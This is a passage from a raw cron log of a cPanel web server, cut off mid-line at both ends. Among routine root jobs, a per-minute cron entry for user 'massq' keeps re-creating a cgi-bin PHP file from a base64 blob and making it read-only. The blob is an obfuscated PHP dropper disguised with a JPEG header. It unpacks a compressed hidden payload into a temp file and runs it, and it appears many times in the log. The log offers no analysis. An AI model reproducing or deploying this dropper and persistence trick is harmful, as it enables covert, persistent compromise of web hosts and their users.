Hg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:45:01 server CROND[3617]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:45:01 server CROND[3618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:45:01 server CROND[3621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:46:01 server CROND[3736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:47:01 server CROND[3808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:48:01 server CROND[3856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:49:01 server CROND[3937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:50:01 server CROND[4088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:50:01 server CROND[4087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:50:01 server CROND[4091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 09:50:01 server CROND[4092]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 09:50:01 server CROND[4094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:51:01 server CROND[4205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:52:01 server CROND[4270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:53:01 server CROND[4337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:54:01 server CROND[4385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:55:01 server CROND[4552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:55:01 server CROND[4553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:55:01 server CROND[4554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:56:01 server CROND[4677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:57:01 server CROND[4749]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 09:57:01 server CROND[4750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:58:01 server CROND[4812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 